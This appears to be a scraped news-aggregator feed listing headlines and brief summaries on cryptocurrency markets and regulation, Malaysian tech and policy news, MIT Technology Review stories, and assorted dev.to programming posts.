    Coinbase and JPMorgan Chase partner to bring crypto purchases, stablecoin rewards and direct bank integrations to Chase customers.
    Ethereum at 10: The top corporate ETH holders as Wall Street eyes crypto
    Ethereum turns 10 as corporate treasury firms and Wall Street entities increase their Ether holdings, signaling growing institutional adoption.
    Ethereum turns 10: Here’s how its booms and busts shaped history
    From the ICO craze and CryptoKitties to the Merge and spot ETFs, Ethereum’s first decade is a reflection of crypto’s most chaotic and innovative moments.
    ‘Wall Street on a blockchain’ isn’t tokenization endgame: Kraken exec
    A Kraken executive told Cointelegraph that tokenized equities shouldn’t just copy Wall Street onto the blockchain but reinvent how users access financial assets.
    $3 price at risk? Why XRP was one of the worst performers this week
    Most of XRP’s recent losses occurred during the $175 million transfer period linked to the Ripple co-founder.
    Hong Kong to begin 6-month transition period for new stablecoin rules
    Hong Kong will begin enforcing its new stablecoin regulations on Friday, with a six-month transition period allowing temporary licenses for issuers.
    DOJ is not probing Dragonfly over Tornado Cash ties, exec says
    The DOJ reportedly confirmed it is not targeting Dragonfly Ventures or its executives in the Tornado Cash case, despite earlier speculation and courtroom remarks.
    Indonesia raises taxes on crypto exchange sales and miners
    Indonesia’s Finance Ministry raised taxes for crypto miners and sellers, while exempting some crypto transactions from VAT.
    Bitcoin in limbo: Watch these BTC price levels to watch ahead of FOMC
    Bitcoin price remains rangebound ahead of the FOMC, as traders keep an eye on the big overhead resistance at $120,000 and several key support levels below.
    Crypto token unlocks may halve to $3B in August; SUI, FTN top list
    Polymath CEO Vincent Kadar told Cointelegraph that investors are shifting from “unlock anxiety” to a more nuanced view of token releases.
    7% dip or $141K breakout? Bitcoin speculators dictate BTC price targets
    Bitcoin short-term holders are in charge of nearby BTC price support — but this risks a drop to $110,000, new Glassnode research warns.
    Altseason on horizon amid liquidity surge, regulatory clarity: Sygnum
    Sygnum’s Q3 2025 Investment Outlook signals the long-awaited altseason may be approaching, as regulatory clarity increases and capital rotates into altcoins.
    AML Bitcoin founder gets 7 years in prison for crypto fraud
    Rowland Marcus Andrade was sentenced to seven years in prison for making the cryptocurrency AML Bitcoin, which defrauded investors out of $10 million.
    Bank of Korea to launch virtual asset committee to monitor crypto
    The Bank of Korea has also renamed its CBDC research and development teams to reflect their focus on practical business department.
    Kraken seeks $500M at $15B valuation ahead of rumoured 2026 IPO: Report
    Crypto exchange Kraken is reportedly seeking half a billion dollars in funding as crypto exchanges capitalize on regulatory tailwinds, The Information reports.
    Samourai Wallet co-founders to now plead guilty to US charges
    Samourai Wallet co-founders Keonne Rodriguez and William Lonergan Hill say they’ll change their not guilty plea relating to charges tied to their crypto mixing service.
    MARA Holdings posts Q2 revenue beat with 64% year-on-year jump
    Crypto mining firm MARA Holdings’ Q2 revenues jumped 64% from a year ago to $238 million, driven by Bitcoin appreciation and expanded mining operations.
    Key player in $13M crypto Ponzi scheme pleads guilty
    Vincent Anthony Mazzotta Jr has pleaded guilty to money laundering and conspiracy to obstruct justice, which together carry a maximum of 15 years in prison.
    Bitcoin momentum loss is pre-FOMC derisking, not a trend change
    Traders cut risk ahead of Wednesday’s Federal Reserve decision on interest rates, and a long-awaited crypto policy report from the White House.
    Strategy buys 21K Bitcoin with 2025’s biggest public offering
    Strategy bought over 21,000 Bitcoin after raising $2.5 billion from a preferred stock offering, the largest initial public offering in the US this year.
  • Open

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  • Open

    Trump's Top Crypto Guys: U.S. DeFi Will Thrive, Assures Bitcoin Reserve Is Coming
    Two of President Donald Trump's leading officials on crypto, Bo Hines and Treasury's Tyler Williams, gave CoinDesk an inside take on their new report.
    Crypto Bulls Get Hit With $200M in Liquidations as Powell Rattles Market With Fed Warning
    Altcoins like SOL, AVAX, HYPE were down 4%-5% before paring losses, while BONK and PENGU plunged 10% then bounced back.
    Samourai Wallet Devs Plead Guilty to Conspiring to Run Unlicensed Money Transmitter
    The pair’s plea change comes amid Tornado Cash developer Roman Storm’s ongoing criminal trial on similar charges.
    Robinhood Q2 Earnings Beat Expectations as Crypto Volumes Climb and Bitstamp Deal Pays Off
    Robinhood posted $160 million in revenue from crypto-related trading and $989 million in overall revenue, outpacing expectations as acquisitions are reshaping the firm.
    Jury Set to Begin Deliberations as Roman Storm’s Money Laundering Trial Draws to Close
    In their lengthy closing arguments on Wednesday, attorneys for both sides battled to win over the jury before releasing the group to decide the Tornado Cash developer’s fate.
    Bitcoin Tumbles Below $116K as Jerome Powell Delivers Hawkish Remarks
    The Fed Chair appeared as dug in as ever to his insistence that the central bank stands firmly in blocking the Trump tariffs from igniting inflation.
    Fed Holds Rates Steady as Expected, but Two Dissent From Decision
    Fed Chair Jerome Powell has been under considerable pressure from the White House to ease monetary policy.
    The Protocol: Ethereum Turns Ten
    Also: Linea Upgrades, Solana Internet Capital Markets Roadmap and Square Begins BTC Payments.
    Coinbase, JPMorgan Deal Signals Shift in Institutional Posture Towards Crypto: Bernstein
    Coinbase and JPMorgan have forged a strategic partnership, signaling institutional embrace of crypto infrastructure, the Wall Street broker said.
    ATOM Plunges 4% as Bearish Momentum Accelerates
    Trading volume surges to triple normal levels during sharp selloff, signaling institutional liquidation pressure.
    Ethereum Could Win the War, But Lose the Prize
    Ethereum’s success presents a new challenge — invisibility, writes CMT Digital’s Aryan Sheikhalian. As Ethereum powers more applications behind the scenes, it risks becoming something everyone uses but no one notices.
    NEAR Inches Higher in Final Hour as DeFi Catalysts Clash With Bearish Momentum
    NEAR edges higher in the final hour of trading amid a surge in volume and the debut of RHEA Finance, but broader bearish pressure keeps the token pinned below key resistance.
    Ethereum Treasury Firm BTCS Aims to Raise Up to $2B in Ether Buying Power
    The company holds more than 70,000 ether valued at roughly $265 million.
    DoubleZero Launches $537M SOL Stake Pool to Turbocharge Solana Validator Network
    DoubleZero’s new 3 million SOL stake pool, DZSOL, aims to decentralize Solana validator infrastructure by offering access to its high-speed fiber network.
    Twenty One Boosting Bitcoin Holdings; CEO Jack Mallers Sees $150K BTC Incoming
    Bitcoin's fixed supply will force higher prices as capital markets ramp up buying, Mallers said in an interview with Bloomberg TV.
    U.S. Bitcoin Reserve Plans Still Elusive as White House Touts Crypto Report
    The report on the government's crypto plans doesn't offer a ton of surprises, mostly echoing familiar policy work, and it's got nothing new on the crypto stockpiles.
    "A Whale of a Problem: Why Self-Custody Might Sink Bitcoin Giants"
    For whales with scale, the trade-offs of holding spot BTC are increasingly hard to justify. Bitcoin ETPs are an alternative, offering an efficient structure that allows big investors to sleep easy at night, says 21shares' President Duncan Moir.
    Shiba Inu Eyes Monthly Gain Despite 8% Price Loss
    The token's failure to rally despite aggressive burn programs underscores investor preference for utility-driven projects over pure speculation plays.
    BNB Breaks Below $800 as Volume Patterns Point to Lack of Sustained Demand Despite Corporate Interest
    The drop comes after BNB hit a record high near $860, driven by aggressive moves into the token by public companies.
    Indonesia to Raise Taxes on Crypto Transactions: Reuters
    Sellers using exchanges located in the country will have to pay a 0.21% tax on the transaction value, up from 0.1%, Reuters said.
    FG Nexus Debuts with $200M Raise and Ether Treasury Strategy on Ethereum's 10th Birthday
    The company plans to use the proceeds of the raise to accumulate ether as its primary reserve asset.
    CoinDesk 20 Performance Update: Bitcoin and Ethereum Trade Flat as Index Declines
    Avalanche (AVAX) was the top underperformer, falling 3.7% from Tuesday.
    Telegram’s @crypto Handle Gets $25M Offer as Price Surges 70-Fold in 2 Years
    Telegram username @crypto, bought for $350,000, now commands a $25 million offer — showcasing the explosive rise of tokenized digital identities on the TON blockchain.
    Telegram Bans $35B Scam Marketplace. Only to See Illicit Crypto Trades Surge Elsewhere
    While Telegram banned Huione and Xinbi Guarantee channels amid pressure from blockchain intelligence firms and U.S. regulators, the broader ecosystem is beginning to bounce back.
    Ethereum at 10: What's Next for the World Computer?
    After existential hacks, deep upgrades and mass adoption, how will Ethereum evolve from here? Leading players from the ecosystem weigh in.
    Brazil's VERT Capital to Tokenize $1B in Real-World Assets on XDC Network
    The deal underscores the growing role of Brazil as a tokenization hub in the region.
    Polkadot's DOT Drops Over 6% as Deterioration Accelerates
    Support has been established at $3.74, with resistance at the $3.83 level.
    BTC Tentative, Dollar Index Hits 5-Week High as U.S. GDP Grew 3% in Second Quarter
    Market observers express concern over potential risks from crowded USD short positions, which could impact equities and crypto markets.
    Donald Trump’s ‘Golden Age of Crypto’ Takes Shape With White House Working Group Report
    A preview of a White House report on digital assets makes further recommendations to areas already in motion within the Clarity Act to oversee crypto markets and the GENIUS Act for stablecoins.
    JPMorgan Teams With Coinbase to Let Users Buy Crypto With Bank Accounts, Points and Cards
    Credit card support is expected to launch this fall, while rewards redemption and bank account linking are slated for 2026.
    BONK Sinks 12% as Meme Token Sector Faces Heavy Sell-Off
    Solana-based BONK token plunged as transaction volumes spiked to 2.59 trillion amid large holders offloading ahead of the Fed’s policy meeting.
    PEPE Falls Nearly 5% as Whale Selling and Exchange Outflows Rattle Memecoin
    The memecoin sector has underperformed the wider cryptocurrency market, with PEPE's decline contributing to a 6% plunge in the CoinDesk Memecoin Index (CDMEME).
    In-Kind Bitcoin and Ether ETFs: How They Will Reshape the Crypto Market?
    The SEC approved in-kind creations and redemptions for spot bitcoin and ether ETFs, aligning them more closely with traditional exchange-traded funds.
    ICP Slips 5% as Key Support Levels Buckle Under Selling Pressure
    Internet Computer Protocol faces intensified bearish pressure amid high-volume breakdown of $5.55 support
    Bank of Korea to Establish Virtual Asset Team as Lee Looks to Shape Crypto Regime: Report
    The team will be responsible for monitoring the digital asset market and holding discussions on crypto-specific legislation.
    Altcoin Rally Fizzles as Ether Turns 10: Crypto Daybook Americas
    Your day-ahead look for July 30, 2025
    Boerse Stuttgart’s Crypto Platform Adds Six More Cryptocurrencies for Retail Traders
    Germany’s BISON trading venue now supports LDO, BNB, AVAX, ONDO, PEPE and NEAR.
    WLFI Invests $10M in Falcon Finance to Boost On-Chain Dollar Liquidity
    The investment comes as Falcon Finance surpasses $1 billion in circulating supply following its public launch.
    XRP Futures Volume on Kraken Eclipses Sol for 1st Time as Price Soars to Record
    SOL still leads XRP in terms of futures open interest on Kraken and other exchanges.
    ARK Invest Buys Another $15.3M Worth of Ether Strategy Firm BitMine Immersion
    Cathie Wood's investment management firm added 477,498 BMNR shares across its Innovation and Next Generations Internet ETFs
    Asia Morning Briefing: SEC's In-Kind BTC, ETH ETF Redemption Shift Happened Years Ago in Hong Kong
    Regulators in Hong Kong were open to in-kind redemptions for the city's crypto ETFs since day one.
  • Open

    The AI Hype Index: The White House’s war on “woke AI”
    Separating AI reality from hyped-up fiction isn’t always easy. That’s why we’ve created the AI Hype Index—a simple, at-a-glance summary of everything you need to know about the state of the industry. The Trump administration recently declared war on so-called “woke AI,” issuing an executive order aimed at preventing companies whose models exhibit a liberal…  ( 16 min )
    An EPA rule change threatens to gut US climate regulations
    This story is part of MIT Technology Review’s “America Undone” series, examining how the foundations of US success in science and innovation are currently under threat. You can read the rest here. The mechanism that allows the US federal government to regulate climate change is on the chopping block. On Tuesday, US Environmental Protection Agency administrator…  ( 21 min )
    Roundtables: Why It’s So Hard to Make Welfare AI Fair
    Amsterdam tried using algorithms to fairly assess welfare applicants, but bias still crept in. Why did Amsterdam fail? And more important, can this ever be done right? Hear from MIT Technology Review editor Amanda Silverman, investigative reporter Eileen Guo, and Lighthouse Reports investigative reporter Gabriel Geiger as they explore if algorithms can ever be fair. Speakers:…  ( 16 min )
    The Download: a 30-year old baby, and OpenAI’s push into colleges
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Exclusive: A record-breaking baby has been born from an embryo that’s over 30 years old A baby boy has just won the new record for the “oldest baby.” Thaddeus Daniel Pierce, who arrived…  ( 21 min )
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    AMD Ryzen Threadripper 9980X Review: Better Than The Last In Some Ways
    AMD’s Ryzen Threadripper 9000 Series has gone official, and the list includes both the PRO WX and the non-WX lineup of processors. In conjunction with its launch date of 31 July, AMD sent over two of its “consumer” segment HEDT Threadripper products, the 9980X and 9970X. In this review, I’ll be focusing on the 9980X […] The post AMD Ryzen Threadripper 9980X Review: Better Than The Last In Some Ways appeared first on Lowyat.NET.  ( 38 min )
    Let AI Do The Talking With Gemini Live On Your Samsung Galaxy S25 Device
    Ever since its release, the Samsung Galaxy S25 series has already established itself to be a powerhouse of a device that is capable of even holding its own with the most computers. And with the power of Gemini and Galaxy AI, it becomes an indispensable AI companion here to make your life simpler and easier. […] The post Let AI Do The Talking With Gemini Live On Your Samsung Galaxy S25 Device appeared first on Lowyat.NET.  ( 37 min )
    TikTok Announces New Safety Tools For Families, Creators
    Short-form video platform TikTok has announced a number of new features which it puts under the trust and safety umbrella. Half of these are for families, and would fall under parental controls. The other half is more catered to content creators and managing their communities. With one exception, these features will be rolling out across […] The post TikTok Announces New Safety Tools For Families, Creators appeared first on Lowyat.NET.  ( 35 min )
    Malaysia Aims For MLFF Toll System Implementation By 2027
    The Works Ministry Secretary-General, Datuk Seri Azman Ibrahim, has announced that the Multi-Lane Free Flow (MLFF) toll collection system is expected to be implemented by 2027. He noted that the project involves several critical phases, including stakeholder engagement, a potential request for proposal (RFP) from highway concessionaires, and the establishment of a regulatory body under […] The post Malaysia Aims For MLFF Toll System Implementation By 2027 appeared first on Lowyat.NET.  ( 34 min )
    Malaysia Secures RM2.97 Billion In Digital Investments From China
    The Malaysian government confirmed that it has secured Chinese investments in the country worth RM2.97 billion. Deals were made with multiple Chinese technology companies that specialise in AI-powered innovation hubs, intelligent customer service centres, AI platforms, and next-generation digital infrastructure. The list of companies, Baidu (via Wisetech), Tsing Digital, iSoftStone, Inspur Group, China Mobile International, […] The post Malaysia Secures RM2.97 Billion In Digital Investments From China appeared first on Lowyat.NET.  ( 33 min )
    Firefly Is Ceasing Jet Operations At Subang Airport Starting 19 August
    FireFly, the low-cost carrier of the Malaysia Aviation Group (MAG), announced that it will cease jet operations to and from Sultan Abdul Aziz Shah airport, also referred to as Subang Airport, from 19 August this year. The move makes it the second low-cost carrier, after AirAsia, to do so. Moving forward, MAG said that all […] The post Firefly Is Ceasing Jet Operations At Subang Airport Starting 19 August appeared first on Lowyat.NET.  ( 34 min )
    Cybersecurity Experts Warn Of Rising Threats To Malaysia’s Automotive Sector
    Malaysia’s automotive industry is facing increasing cybersecurity threats as vehicles become more digitally connected, according to a new report by Ensign Infosecurity. The firm raises concerns over how gaps in threat detection and supply-chain vulnerabilities are leaving the sector open to potential attacks. Speaking to the South China Morning Post (SCMP), Ensign Infosecurity Malaysia senior […] The post Cybersecurity Experts Warn Of Rising Threats To Malaysia’s Automotive Sector appeared first on Lowyat.NET.  ( 33 min )
    Government Moves To Tackle Poor Cellular Coverage On Highways
    In response to numerous complaints from Malaysians about poor cellular reception along highways, the government has decided to take action. As revealed by Works Minister Datuk Alexander Nanta Linggi on social media, a special meeting was recently held to explore effective solutions for enhancing telecommunications and internet coverage on Malaysian highways. “Interrupted internet coverage, stopped […] The post Government Moves To Tackle Poor Cellular Coverage On Highways appeared first on Lowyat.NET.  ( 33 min )
    AI-Powered Immigration System To Start Operating March 2026
    According to Home Minister Datuk Seri Saifuddin Nasution Ismail, the National Integrated Immigration Systems (NIISe) is currently in development and will likely begin operating in phases starting March next year. The NIISe project will extensively rely on artificial intelligence to improve screenings at Malaysia’s borders. One of the key AI features in NIISe is an automated […] The post AI-Powered Immigration System To Start Operating March 2026 appeared first on Lowyat.NET.  ( 33 min )
    MOSTI: Malaysia Moves Closer To Adopting Nuclear Energy
    Malaysia is making one more step towards using nuclear energy as its long-term energy transition strategy. The Ministry of Science, Technology and Innovation (MOSTI) says that a pre-feasibility study showing potential for stable, clean and reliable source of energy. Its minister, Chang Lih Kang, said that the establishment of six task forces have been proposed. “Three […] The post MOSTI: Malaysia Moves Closer To Adopting Nuclear Energy appeared first on Lowyat.NET.  ( 33 min )
    Razer Launches BlackShark V3 Pro Lineup; Priced At RM1,229
    Razer has unveiled the BlackShark V3 Pro series, a new selection of wireless gaming headsets designed for esports players. This lineup consists of three models, each of which is optimised for PC, PlayStation, and Xbox respectively. As the successor to the BlackShark V2 Pro, the headset comes with some upgrades. Among these is advanced hybrid […] The post Razer Launches BlackShark V3 Pro Lineup; Priced At RM1,229 appeared first on Lowyat.NET.  ( 34 min )
    Leakster Shares Images Of Dummies For iPhone 17 Range
    A possible iPhone 17 Pro may have been spotted in the wild recently ahead of its official announcement. More recently, a leakster has shared online images of what is claimed to be dummies of the whole lineup. They pretty much line up with renders that have previously appeared online. It’s also the most complete look […] The post Leakster Shares Images Of Dummies For iPhone 17 Range appeared first on Lowyat.NET.  ( 33 min )
    Avatr 11 Officially Debuts In Singapore
    Avatr, a premium EV sub-brand of Changan Automobile, recently debuted its Avatr 11 in Singapore. In fact, the mid-size coupe-SUV was the first model to be produced by the brand and was launched. In Singapore, it is offered in two variants: a standard range and a long range. In terms of design, it has a […] The post Avatr 11 Officially Debuts In Singapore appeared first on Lowyat.NET.  ( 34 min )
    Google Pixel 10 May Feature Built-In Magnets After All
    As with any other anticipated smartphone lineup, the Google Pixel 10 series has been the subject of a myriad of rumours and leaks ahead of its launch. One such leak suggested the presence of Qi2 magnets on the phones, although a later report contradicted this claim. Now, a new image seems to indicate that the […] The post Google Pixel 10 May Feature Built-In Magnets After All appeared first on Lowyat.NET.  ( 34 min )
    Samsung May Replace Base Galaxy S26 With A New “Pro” Model
    Samsung appears to be preparing a major shake-up for its flagship Galaxy S series in 2026, potentially doing away with the standard model and replacing it with a rebranded and more premium-focused lineup. According to findings within an internal One UI 8 build by Android Authority, the upcoming line-up will allegedly consist of the Galaxy […] The post Samsung May Replace Base Galaxy S26 With A New “Pro” Model appeared first on Lowyat.NET.  ( 33 min )
    Govt Scraps Plan To Introduce Luxury Goods Tax
    The government has officially shelved its plan to introduce a high-value goods tax (HVGT), more than two years after it was first announced. In a written reply to Parliament on Tuesday, the Ministry of Finance (MOF) confirmed that the proposed tax, previously known as the luxury goods tax, will no longer be implemented in its […] The post Govt Scraps Plan To Introduce Luxury Goods Tax appeared first on Lowyat.NET.  ( 33 min )

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    Transforming Legacy Insurance with Neo4J,Redis and AI — robust, scalable, low latency — Smart Crawling Legacy Portal.
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. Most traditional insurance systems built using JSPs (JavaServer Pages) over 20+ years ago suffer from: Fragmented front-ends (200+ JSPs) Poor documentation Difficult user navigation and steep learning curves Agents, underwriters, and claim processors often rely on tribal knowledge or IT support for simple queries like: “Where do I upload KYC documents?” I‑Helper A conversational AI bot that allows users to ask questions in natural language: “How to check policy cancellation reasons?” It responds: “Please check CancellationReason.jsp under Policy Actions tab → Cancel Policy section.” No more wandering across JSPs — it understands intent and maps it directly to legacy screens. The Core Stack Includes: 🕸 Neo4j: To re…  ( 6 min )
    Beyond the Spread: **`structuredClone`** vs `{ ...obj }` — Deep-Copy Tactics Every React + TypeScript Engineer Should Master
    structuredClone vs { ...obj } — Deep-Copy Tactics Every React + TypeScript Engineer Should Master Because sometimes a shallow copy just won’t cut it. In React we preach immutability: instead of mutating objects in place, you copy them, update the copy, and let React diff the changes. That’s easy for primitives and flat objects, but nested data structures can trip you up: const updated = { ...user, address: { ...user.address, city: 'Tokyo' } }; Looks innocent… but becomes spaghetti when objects are big, or arrays are nested three layers deep. Enter structuredClone (a browser‑native deep copier) and a fresh perspective on when the spread operator is still the best tool in your belt. interface Person { firstName: string; lastName: string; age: number; address: Address; } …  ( 6 min )
    [Boost]
    I Automated My Entire Dev Workflow with AI (You Won't Believe How Easy It Is) Shayan ・ Jul 28 #webdev #programming #ai #javascript  ( 3 min )
    How to use One UI Sans in your website
    A post by Fã da Amazon  ( 3 min )
    @ext() String Extractor in FSCSS
    Introducing @ext() in FSCSS: Your New Go-To for Dynamic String Extraction! Hey Devs! 👋 Are you tired of repeating the same string values across your CSS, or needing to re-type parts of a string just to use them elsewhere in your styles? If so, get ready to streamline your workflow with the new @ext() method in FSCSS (Figured Shorthand CSS)! The @ext() method is a powerful value and string slicing utility that lets you extract substrings from any given property string or value. What makes it truly special is its ability to store these extracted pieces as named variables, allowing for seamless reuse throughout your stylesheets. This means less redundancy, cleaner code, and more dynamic styling patterns! 🔧 Syntax Made Simple Using @ext() is intuitive and straightforward: @ext(startIndex, …  ( 5 min )
    My Database Conundrum: MongoDB vs Supabase for a Pure Python App
    Over the past few weeks, I've been developing TTrack - Torrens Degree Tracker, a PyQt5 desktop application designed to help academic staff, advisors and even students visualize academic progress and match students' transcript data with course curriculum requirements. Now that the core features are live, including transcript parsing, curriculum matching, sample data download+visualization and even match theming (light vs dark mode), I've entered a new milestone: persistent data storage and cloud synchronization. And that's where my conundrum begins, an interesting architectural challenge. The goal in version 2.0.0 is enable users to: Save processed sessions (transcript + curriculum + progress) for each student Retrieve that data later using a unique session ID Eventually tie this to user a…  ( 6 min )
    I built Tanbol: a clean way to share code snippets with preview and copy support
    Tanbol is a modern and minimalistic platform where developers can paste and save their code snippets in seconds. No distractions. No login required to get started. Just paste, preview, copy, and share. But that’s not all. You can also create an account to manage and organize your snippets, explore code shared by others, and even save your favorites. Whether you're building something quick or sharing code with the community, Tanbol is here to make it seamless. Why use Tanbol? • Instant preview for HTML/CSS/JS code Try it now – no sign-up needed. https://tanbol.site I’d love to hear your thoughts, suggestions, or bug reports. You can leave a comment or message me directly. Thanks for checking it out!  ( 4 min )
    The Hidden Cost of Free AI: Don’t Let ChatGPT Replace Your Thinking
    Artificial intelligence has become part of our everyday life, and tools like ChatGPT are leading the way. With just a few words, you can get instant answers, write long emails, brainstorm ideas, or even solve technical problems. And the best part? It’s free. But that’s exactly where the trap begins. Free tools often feel harmless. You try them once, and they work so well that you start using them regularly. Eventually, you start depending on them, without even realizing it. What begins as a helpful tool can slowly become something you can’t work without. This strategy isn’t new. Some people call it the “drug dealer” approach: the first hit is free. It’s smooth, easy, and powerful. You feel smarter. You get work done faster. You rely on the tool more and more. And before you know it, you’re…  ( 5 min )
    WHY ARE WE STILL BUILDING APPS ON INSECURE FOUNDATIONS?
    A post by estrolabz  ( 4 min )
    Multimodal Face Recognition Pipeline with CocoIndex: Real-Time Image and Vector Search
    CocoIndex supports multi-modal processing natively - CocoInsight). In this blog, we’ll walk through a comprehensive example of building a scalable face recognition pipeline using CocoIndex. CocoInsight can now visualize identified sections of an image based on the bounding boxes and makes it easier to understand and If you find this tutorial helpful, we’d greatly appreciate it if you could ⭐ star CocoIndex on GitHub. Photo search Face-based access control and surveillance Visual deduplication and identity detection Multimodal search involving people or facial identity Social graph analysis from photos The photo taken of this conference's participants is sometimes entitled "The Most Intelligent Picture Ever Taken", for its depiction of the world's leading physicists gathered together i…  ( 6 min )
    🎮 I Built a Python Games Bundle — 3 Games + EXE + Mockups + Docs (Arabic & English)
    Hey DEV community! 👋 I'm Abdelrahman — an indie game developer and Python enthusiast from Egypt 🇪🇬 I recently launched a Python Games Bundle built from scratch to help beginners learn coding through real, playable games 🎮🐍 ✅ 3 full Python games — including Snake and others ✅ EXE files — no setup needed, just run and play ✅ Multilingual READMEs — written in both English & Arabic ✅ Custom mockup images for each game ✅ Beginner-friendly code with comments and clear structure Beginners who want to learn Python through fun projects Educators or tutors who want mini games to teach with Anyone who loves retro-style game projects I struggled when learning Python because I didn’t know what to build. Games helped me stay motivated and learn real concepts like: Game loops Input handling Collision detection Code structure and functions If you’re curious or want to try the bundle, I’d love to hear your feedback or questions! Let’s connect and grow together 🚀 🎮 Indie Game Developer | Python Enthusiast Built 3 Python games. Sharing projects, mockups & dev tips. Let’s learn, build, and grow together 🚀 🚀 See it on Product Hunt  ( 4 min )
    Modernizing Legacy Systems with AWS: Scalable, Secure & AI-Ready
    In today’s business landscape, organizations face the critical need to modernize legacy applications to not only enhance performance but also unlock capabilities for real-time analytics, AI integration, and scalable operations. As a Solutions Architect, I recently spearheaded the development of an AWS architecture that facilitated a client's transition from a legacy on-premise monolithic system to a cutting-edge cloud-native microservices platform. The primary objective was to align with performance, security, and AI-readiness goals. Business Need: High operational costs associated with legacy monolithic systems Lack of support for real-time data processing and machine learning workloads Downtime during updates and limited horizontal scalability Complex compliance and audit trail requirements AWS Cloud-Native Solution (Best Practices Aligned): Leveraging Amazon EKS for secure and scalable container orchestration Utilizing AWS App2Container to transform monolithic structures into Dockerized workloads Implementing Amazon RDS + ElastiCache for high-performance and scalable data layers Employing Amazon S3 + AWS Glue + Athena for real-time analytics and ML readiness Harnessing Amazon SageMaker for operationalizing AI/ML workloads Ensuring security and compliance through IAM, CloudTrail, and GuardDuty for a zero-trust environment Outcomes Achieved: 70% reduction in deployment time Enhanced real-time analytics and AI-powered decision-making Seamless CI/CD integration with AWS CodePipeline Robust, secure, and cost-optimized infrastructure Modernization goes beyond mere migration; it entails a holistic transformation of your business model. Explore the architecture diagram below, crafted using Lucidchart.  ( 4 min )
    Smarter Generic Mapping in Dapper.FluentMap while using DataAnnotations
    I am using postgres sql as database. I have mapped my classes earlier using Entity Framework and used the Column[("name")] attribute. Now that I have switched to Dapper, it seemed Dapper does not read any of the column attributes that I have used in my DTO/POCO classes. Ah! That's going to be a problem. So my class kinda looks like this public class Role { [Column("role_id")] public long RoleID { get; set; } [Column("role_name")] public string RoleName { get; set; } } Now this is going to be an issue. I could rewrite my queries like this --- const string sql = @"SELECT role_id AS RoleID, role_name AS RoleName FROM public.role WHERE role_id = @id;"; Now this is a hassle that I dont want to deal with. It seems Dapper.FluentMap has …  ( 5 min )
    Take Out优化
    一、缓存优化 问题说明 用户数量多,系统访问量大 频繁访问数据库,系统性能下降,用户体验差 org.springframework.boot spring-boot-starter-data-redis spring: redis: host: 192.168.81.128 port: 6379 password: root database: 0 @Configuration public class RedisConfig extends CachingConfigurerSupport { @Bean public RedisTemplate redisTemplate(RedisConnectionFactory connectionFactory) { RedisTemplate redisTemplate = new RedisTemplate(); //默认key序列化器为:JdkSerializationRedisSerializer redisTemplate.setKeySerializer(new StringRedisSerializer()); redisTemplate.setConnectionFactory(connectionFactory); return redisTemplate; } 前面已经实现了移动端手机…  ( 8 min )
    Take Out
    一、项目背景介绍 技术选型: 创建数据库: 导入表结构,直接运行外部 SQL 文件; 数据表的说明: 序号 表名 说明 1 employee 员工表 2 category 菜品和套餐分类表 3 dish 菜品表 4 setmeal 套餐表 5 setmeal_dish 套餐菜品关系表 6 dish_flavor 菜品口味关系表 7 user 用表 (c 端) 8 address_book 地址薄表 9 shopping_cart 购物车表 10 orders 订单表 11 orders_detail 订单明细表 创建一个 maven 项目 注意: 创建 maven 项目后,一定要检查项目的编码,maven 仓库的配置,jdk 的配置等; 导入 pom 文件 4.0.0 org.springframework.boot spring-boot-starter-parent</art…  ( 18 min )
    Perplexity as a determinant of text quality.
    In Natural Language Processing, perplexity is a measure of how well a language model predicts a text sequence starting from the first token in the sequence. Consider a Text sequence that starts with "Elephants". After the word "Elephants" there are a ton of possible options for the next word in the sequence. A few examples are below: Elephants are... Based on the data the language model has been trained with, each possible next word such as "are", "do", "eat", "weigh" has a probability assigned to it as the next word in the sequence. The higher the probability of this word, the more confident the language model is in that word being the next in the sequence. Now let us assume that a piece of text begins with "Elephants eat". Again there are tons of possible next words such as "grass", "ve…  ( 6 min )
    I Was So Angry, I Built My Own Workshop Platform
    Sometimes the breaking point comes not from a single catastrophic failure, but from the slow accumulation of a thousand small frustrations. After months of wrestling with Miro's limitations while trying to create a simple set of online workshop exercises, I finally reached mine. The platform that promises to revolutionize collaboration had become a obstacle to actually collaborating. So I did what any frustrated developer would do – I decided to build my own. All I wanted was straightforward: create 12 interactive workshop exercises for brainstorming and mindmapping, integrated with about 200 markdown files of existing content, plus a collection of images and slides from previous workshops. The concept was elegant in its simplicity – share not just the workshop experience, but the entire m…  ( 30 min )
    Tempest: breaking up the input view component
    I saw the blog post about the updated Tempest View, and the view component code made me want to wash my eyes. For years we are keeping logic out of templates, and in this templating engine logic is needed because it removed the possibility to make a ViewComponent class. The framework has a Mapper class. And in the cache file I saw that the attributes are available as an array. So the first thing I did is to make a data class that holds all the variables that are needed in the component. use Tempest\Http\Session\Session; use Tempest\Mapper\Strict; use function Tempest\Support\str; class InputMap { #[Strict] public string $name { set(string $value) { $this->label = $value; $this->id = $value; $this->name = $value; if($value !…  ( 5 min )
    Learn React Router v7 by Examples
    React Router v7 is a powerful data-first, file-based routing framework for React apps. Instead of treating routing as a side concern, it lets you define UI, data fetching, and navigation logic together — just like real-world apps need. Here’s your developer-friendly cheatsheet, filled with code examples and explanations for where you'd use each one. routes.ts // routes.ts import { route, layout, index } from "@react-router/dev/routes"; export default [ layout("layouts/main.tsx", [ index("routes/home.tsx"), route("posts/:postId", "routes/post.tsx"), route("posts/:postId/edit", "routes/edit-post.tsx"), ]), route("about", "routes/about.tsx"), ]; When to use: Define your entire app’s routing structure in one place. layout(...) wraps child routes in shared UI, route(.…  ( 7 min )
    React Compiler
    Worked with react compiler which helps to optimize react apps and it works well with plain JavaScript. It automatically optimizes react apps at build time hence reducing the time to manually type the memoization code .**** Anyone who has used it before to give feedback?  ( 3 min )
    Coding The Fibonacci Sequence In Python
    The Fibonacci sequence is a series of numbers where each number is the sum of the previous two: 0, 1, 1, 2, 3, 5, 8, 13, ... It’s one of the most famous sequences in math and programming — and it turns up a lot! What triggered me to write this quick blog was a fun example of the Fibonacci algorithm being used on LeetCode's Climbing Stairs problem. Imagine a staircase with n steps. You can climb 1 step at a time. Or jump 2 steps at a time (if possible). How many different ways can you reach the top? Step Patterns Step 1 → 1 way Step 2 → 2 ways 1 + 1 2 Step 3 → 3 ways 1 + 1 + 1 1 + 2 2 + 1 Step 4 → 5 ways 1 + 1 + 1 + 1 1 + 1 + 2 1 + 2 + 1 2 + 1 + 1 2 + 2 Do you see a pattern forming? 1, 2, 3, 5... This is the Fibonacci sequence shifted by one! To reach step n, your last move is eith…  ( 5 min )
